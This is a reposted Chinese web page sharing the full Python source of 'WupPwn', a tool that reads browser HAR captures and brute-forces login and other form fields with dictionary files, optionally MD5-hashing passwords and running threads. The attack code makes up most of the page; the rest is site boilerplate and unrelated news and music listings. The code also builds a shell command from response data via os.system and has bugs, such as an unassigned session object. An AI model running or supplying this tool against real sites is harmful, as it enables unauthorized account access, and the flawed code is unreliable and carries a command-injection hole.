圆月山庄资源网 Design By www.vgjia.com
利用Chrome或Firefox保存的Har文件http/https请求,可用于遍历字典提交From表单.
少说废话直接上代码
Github地址:https://github.com/H0xMrLin/wuppwn
#encoding:utf-8 import sys; #Yeah,我没有注释。懒得写 HelpContent=""" Help: +=====================================================================================================================+ WupPwn.py Python3 WupPwn.py HarFileName [pd=filedName:Value|pd=filedName:$DicFileName] [if=responseContent] [ifnot=responseContent] [ifend=responseContent] [out=OutFileName] HarFileName har文件名 谷歌或Firefox web抓包保存为har entries下可以看到所有请求的地址及参数 可以删除一些不必要的请求让程序更快运行 pd 设置上传数据 字段名:值 或者 字段名:字典 if=xxx 如果内容是xxx那就记录 可多个用||隔开 ifnot=xxx 如果内容不是xxx哪就记录 可多个用||隔开 ifend=xxx 如果内容是xxx那就记录并结束 可多个用||隔开 out=xx.txt 输出记录到文件 see=on|off 查看每次尝试破解响应 Current request method have: GET/POST *且目前不支持http请求头带 RFC 标识 (RFC-eg: ':method':'POST')可以检查是否有 md5=XXX 将 指定字段名的值进行md5加密再暴力破解 一般=password||passwd||pwd ... th=5 设置5个线程同时运行 版本警告: 《!》: 切勿用作违法使用,仅供渗透测试,如非法使用该工具与作者无关。 Makerby:Pwn0_+x_X +=====================================================================================================================+ """; if(len(sys.argv) <=1): print(HelpContent); sys.exit(1); if(sys.argv[1].lower()=="h" or sys.argv[1].lower()=="-h" or sys.argv[1].lower()=="help"or sys.argv[1].lower()=="-help"): print(HelpContent); sys.exit(1); import os; import json; import urllib.request; import requests; import socket; import hashlib; import threading; import traceback; import uuid; import copy from hyper.contrib import HTTP20Adapter; socket.setdefaulttimeout(3); CAllowRequestMethod=["get","post"]; HARFile=sys.argv[1]; harfp=open(HARFile,"rb"); harContent=harfp.read(); HarJSON=json.loads(harContent); Body=HarJSON["log"] print("Version :"+Body["version"]); print("Request Count :"+str( len(Body["entries"]))) AimUrlAPar={}; for reqBody in Body["entries"]: AimUrlAPar[reqBody["request"]["url"]]={}; AllowRequest="×"; if(reqBody["request"]["method"].lower() in CAllowRequestMethod): AllowRequest="√"; else: print(" "*5,"[",AllowRequest,"]",reqBody["request"]["method"],"\t\t"+reqBody["request"]["url"].split("")[0]) continue; print(" "*5,"[",AllowRequest,"]",reqBody["request"]["method"],"\t\t"+reqBody["request"]["url"].split("")[0]) Parameter= reqBody["request"]["queryString"] if reqBody["request"]["method"].lower()=="get" else reqBody["request"]["postData"]["text"] #print(Parameter) if(reqBody["request"]["method"].lower()=="post"): if "application/json" in reqBody["request"]["postData"]["mimeType"]: Parameter=json.loads(Parameter) else: Parameter=reqBody["request"]["postData"]["params"]; tmpPar={}; for item in Parameter: tmpPar[item["name"]]=item["value"]; Parameter=tmpPar; AimUrlAPar[reqBody["request"]["url"]]["paramtertype"]=reqBody["request"]["postData"]["mimeType"].lower() elif(reqBody["request"]["method"].lower()=="get"): Par={}; #print("get") for item in Parameter: Par[item["name"]]=item["value"] Parameter=Par; headers={}; headNotContains=["Content-Length"]; for headFiled in reqBody["request"]["headers"]: if headFiled["name"] in headNotContains: continue; headers[headFiled["name"]]=headFiled["value"]; cookies={}; for headFiled in reqBody["request"]["cookies"]: cookies[headFiled["name"]]=headFiled["value"]; #print(cookies); AimUrlAPar[reqBody["request"]["url"]]["arguments"]=Parameter AimUrlAPar[reqBody["request"]["url"]]["header"]=headers AimUrlAPar[reqBody["request"]["url"]]["cookies"]=cookies AimUrlAPar[reqBody["request"]["url"]]["method"]=reqBody["request"]["method"].lower() AimUrlAPar[reqBody["request"]["url"]]["httpversion"]=reqBody["request"]["httpVersion"].lower() #系统存储 kPMd5={}; #用户参数设定 pds=[]; ifC=[];# 最小优先级 ifN=[];# 其二优先级 ifE=[];# 最大优先级 otFile=""; ascMD5=[]; testsee="off"; see="off"; th=0; #因为我不太喜欢指令的参数化模块 所以我直接写了个硬代码 注:python的模块有时候很讨厌. def setBaseParamters(Key,Value): global see,otFile,testsee,th; Key=Key.lower(); if(Key=="pd"): FILEDSUM=Value.split(":"); filedName=FILEDSUM[0]; filedValue=FILEDSUM[1]; if(filedValue[0]=="$"): apArr=[]; filedP=open(filedValue[1:],"r"); redValueLines=filedP.readlines(); for val in redValueLines: apArr.append({filedName:val.replace("\n","")}); pds.append(apArr); else: pds.append([{filedName:filedValue}]); elif(Key=="if"): ifcItems=Value.split("||"); for item in ifcItems: ifC.append(item); elif(Key=="ifnot"): ifcItems=Value.split("||"); for item in ifcItems: ifN.append(item); elif(Key=="ifend"): ifcItems=Value.split("||"); for item in ifcItems: ifE.append(item); elif(Key=="md5"): md5Items=Value.split("||"); for item in md5Items: ascMD5.append(item); elif(Key=="see"): see=Value.strip().lower(); elif(Key=="out"): otFile=Value.strip().lower(); elif(Key=="testsee"): testsee=Value.strip().lower(); elif(Key=="th"): th=int(Value.strip().lower()); return; curThs={}; def pdLoop(index,havePar={},myThead=None): global curThs,kPMd5; for item in pds[index]: FiledName=list(item.keys())[0]; FiledValue=list(item.values())[0]; if(FiledName in ascMD5): m5Obj=hashlib.md5(bytes(FiledValue,encoding="UTF-8")); SourceValue=FiledValue; FiledValue=m5Obj.hexdigest(); kPMd5[FiledValue]=SourceValue; havePar[FiledName]=FiledValue; if(index>0): if(th>0 and len(curThs)<th ): print("[+]线程记录点") childThread=str(uuid.uuid1()).replace("-",""); RunTh= threading.Thread(target=pdLoop,args=(index-1,copy.deepcopy(havePar),childThread,)); curThs[childThread]=RunTh; RunTh.start(); else: pdLoop(index-1,copy.deepcopy(havePar)); else: Call(havePar); if(myThead!=None): print("[+]线程释放点",myThead) curThs.pop(myThead); def Call(sendData): for reqUrl in list(AimUrlAPar.keys()): CurHeaders= AimUrlAPar[reqUrl]["header"]; CurHeaders["Cookie"]=""; CurCookies= AimUrlAPar[reqUrl]["cookies"]; for cookieKey in list(CurCookies.keys()): CurHeaders["Cookie"]+=cookieKey+"="+CurCookies[cookieKey]+";" #print(cookieKey+"="+CurCookies[cookieKey]+";"); CurArguments= AimUrlAPar[reqUrl]["arguments"]; for cgDataKey in list(sendData.keys()): CurArguments[cgDataKey]=sendData[cgDataKey]; try: if(AimUrlAPar[reqUrl]["method"]=="get"): print("[+]GET-Pwn:%s"%(reqUrl)); #data = urllib.parse.urlencode(CurArguments).encode('utf-8'); if(AimUrlAPar[reqUrl]["httpversion"]=="http/2.0"): sessions.mount(reqUrl,HTTP20Adapter()); res=requests.get(reqUrl,headers=CurHeaders,params=CurArguments); print(res.text); Auth(CurArguments,res.text); elif(AimUrlAPar[reqUrl]["method"]=="post"): """ data = urllib.parse.urlencode(CurArguments).encode('utf-8') request = urllib.request.Request(reqUrl,data = data,headers = CurHeaders,method="POST"); response = urllib.request.urlopen(request) html = response.read().decode('utf-8')""" if(AimUrlAPar[reqUrl]["paramtertype"]=="application/x-www-form-urlencoded"): data = urllib.parse.urlencode(CurArguments).encode('utf-8') else: data = json.dumps(CurArguments); sessions=requests.session(); if(AimUrlAPar[reqUrl]["httpversion"]=="http/2.0"): sessions.mount(reqUrl,HTTP20Adapter()); res=sessions.post(reqUrl,data=data,headers=CurHeaders); Auth(CurArguments,res.text); None; except Exception as e: print("[-]Pwn timeout",traceback.print_exc(),kPMd5) def Auth(Arguments,resContent): Success=False; Arguments=copy.deepcopy(Arguments) for argItemName in list(Arguments.keys()): if(argItemName in ascMD5): Arguments[argItemName]=kPMd5[Arguments[argItemName]]; #print(ifE,ifC,ifN) for ifeItem in ifE: if(ifeItem in resContent): Output(str(Arguments)); sys.exit(1); for ifnItem in ifN: if not(ifnItem in resContent ): Output(str(Arguments)); Success=True for ifcItem in ifC: if (ifcItem in resContent ): Output(str(Arguments)); Success=True if(see=='on'): print({True:"\t[√]",False:"[-]"}[Success],Success,Arguments); if(testsee=="on"): print(resContent); def Output(text): if(otFile.strip() == ""): return; os.system("echo %s%s"%(text,otFile)); return ; for index in range(len(sys.argv)-2): parIndex=index+2; parItem= sys.argv[parIndex]; try: Item= parItem.split("="); key=Item[0]; value=Item[1]; setBaseParamters(key,value); except: print("Error paramter(%s)"%(parItem)); #print(AimUrlAPar); if(len(pds)-1>=0): pdLoop(len(pds)-1)
总结
圆月山庄资源网 Design By www.vgjia.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
圆月山庄资源网 Design By www.vgjia.com
暂无评论...
RTX 5090要首发 性能要翻倍!三星展示GDDR7显存
三星在GTC上展示了专为下一代游戏GPU设计的GDDR7内存。
首次推出的GDDR7内存模块密度为16GB,每个模块容量为2GB。其速度预设为32 Gbps(PAM3),但也可以降至28 Gbps,以提高产量和初始阶段的整体性能和成本效益。
据三星表示,GDDR7内存的能效将提高20%,同时工作电压仅为1.1V,低于标准的1.2V。通过采用更新的封装材料和优化的电路设计,使得在高速运行时的发热量降低,GDDR7的热阻比GDDR6降低了70%。
更新日志
2024年11月02日
2024年11月02日
- 《暗喻幻想》顺风耳作用介绍
- 崔健1985-梦中的倾诉[再版][WAV+CUE]
- 黄子馨《追星Xin的恋人们2》HQ头版限量编号[WAV+CUE]
- 孟庭苇《情人的眼泪》开盘母带[低速原抓WAV+CUE]
- 孙露《谁为我停留HQCD》[低速原抓WAV+CUE][1.1G]
- 孙悦《时光音乐会》纯银CD[低速原抓WAV+CUE][1.1G]
- 任然《渐晚》[FLAC/分轨][72.32MB]
- 英雄联盟新英雄安蓓萨上线了吗 新英雄安蓓萨技能介绍
- 魔兽世界奥杜尔竞速赛什么时候开启 奥杜尔竞速赛开启时间介绍
- 无畏契约CGRS准星代码多少 CGRS准星代码分享一览
- 张靓颖.2012-倾听【少城时代】【WAV+CUE】
- 游鸿明.1999-五月的雪【大宇国际】【WAV+CUE】
- 曹方.2005-遇见我【钛友文化】【WAV+CUE】
- Unity6引擎上线:稳定性提升、CPU性能最高提升4倍
- 人皇Sky今日举行婚礼!电竞传奇步入新篇章